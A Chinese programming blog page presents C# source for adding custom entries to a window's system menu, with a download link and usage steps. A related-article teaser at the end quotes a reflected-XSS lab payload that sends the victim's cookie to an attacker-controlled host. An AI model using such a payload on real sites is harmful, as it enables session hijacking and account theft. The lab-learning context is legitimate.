首页 > 编程语言 >C#的系统菜单添加自定义项 - 开源研究系列文章

C#的系统菜单添加自定义项 - 开源研究系列文章

时间:2024-03-01 19:01:52浏览次数:28  
标签:菜单 自定义 C# 开源 源码 窗体 添加

       今天无聊,想起以前在Visual Basic 6中有一个在应用程序的系统菜单中添加自定义项的源码,于是就编写了此基于C#的源码,在自己的其它项目中进行了使用,效果还是刚刚的。下面进行介绍:

 

  1、 项目目录;

   

  2、 代码介绍;

  下面就是在系统菜单中添加自定义项的代码。

   

       在窗体添加下列内容:

   

  3、 运行界面;

  下面是运行界面,添加了显示关于窗体菜单项。

   

       其它的例子,Chrome的界面:

      

  4、 使用介绍;

  1) 将SystemMenu.cs操作类添加到项目中;

  2) 将上面窗体的代码添加到源码中;

  5、 源码下载;

  这里提供源码下载:

   https://download.csdn.net/download/lzhdim/88895798

  6、 其它建议;

  这个系统菜单添加自定义项还是挺有用的,主要是能够添加自定义项,虽然现在很多软件都使用自己的菜单,这个例子能够有一定作用。请读者自己修改源码进行复用。

 

       上面介绍了C#中在系统菜单中添加自定义项的源码,需要的读者自己下载阅读源码。

标签:菜单,自定义,C#,开源,源码,窗体,添加
From: https://www.cnblogs.com/lzhdim/p/18047745

相关文章

  • RTE 开源|小红书 REDPlayer 正式发布!快来 get 同款播放器~
    本项目由RTE开发者社区x小红书联合运营 播放器最初出现在19世纪,当时主要用于播放音频,例如通过留声机播放唱片。 随着技术的进步,音频播放器不断改进,品质越来越好,体积也越来越小。到了今天,通过手机或网络,人们可以随时随地播放音频和视频。 优秀的播放器有几个特性:需......
  • Lambda实现条件去重distinct List
    原文链接:https://blog.csdn.net/qq_39940205/article/details/114269686  _______________________________________________________________________________________________________________我们知道,Java8lambda自带的去重为distinct方法,但是只能过滤整体对象,不......
  • Docker的安装
     https://docs.docker.com/engine/install.centos/Docker安装步骤:   注意:因为docker是国外的,国内访问经常超时,所以步骤5  需要修改镜像地址,比如用阿里云:yum-config-manager--add-repohttp://mirrors.aliyun.com.docker-ce/linux/centos/docker-ce.repo ......
  • Docker平台入门
    Docker是一个Client-Server机构的系统,Docker守护进程运行在主机上,然后通过Socket连接从客户端访问,守护进程从客户端接受命令并管理运行在主机上的容器。容器,是一个运行时环境,就是我们前面说到的集装箱。  Docker是一个C/S模式的架构,后端是一个松耦合架构。众多模块各司其职......
  • Docker的基本安装
    Docker分为CE社区版和EE企业版,以下安装的是CE版本,也可以直接查看官网的安装指南若安装过旧版本的Docker,可先进行卸载yumremovedocker\docker-client\docker-client-latest\docker-common\do......
  • Docker的3要素:镜像容器仓库
        Docker的3大基本组成1.镜像image2.容器container3.仓库repository 容器解释: 仓库解释:  ......
  • isinstance
    当然,我可以帮你将这些Python代码转化为Markdown格式的笔记。以下是你的Markdown笔记:Python中的isinstance函数isinstance是Python的内置函数,用于判断一个对象是否是一个已知的类型。1.使用方法一isinstance(数据,类型):如果该数据是这个类型,返回True;反之,返回False。n=123......
  • Docker能做什么
    Docker能做什么:Docker是解决 运行环境和配置问题的软件容器,方便做持续集成并有助于整体发布的容器虚拟化技术。 容器和虚拟机的区别比较容器发展简史虚拟机的缺点:1.资源占用多2.冗余步骤多3.启动   ......
  • 使用 chrome 的本地 Mock 功能
    1.前言   过去,本地调试要用mock的话,需要我们可以通过代理的方式去hack的实现或者使用其它的工具实现,但是现在再也不用这么麻烦了,chrome原生就支持了,而且体验相当丝滑 2.使用方法  如果你的chrome浏览器没有以下功能,则需要更新到最新的版本第一步:找到需要mock的......
  • 反射型xss的post请求获取cookie
    攻击者构造的网站地址:192.168.10.12:100受害者主机:192.168.10.134目标服务器:192.168.10.1步骤一:受害者主机访问目标服务器根据提示登录步骤二:输入xssPayload<script>document.location='http://192.168.10.12:100/pkxss/xcookie/cookie.php?cookie='+document.cookie<......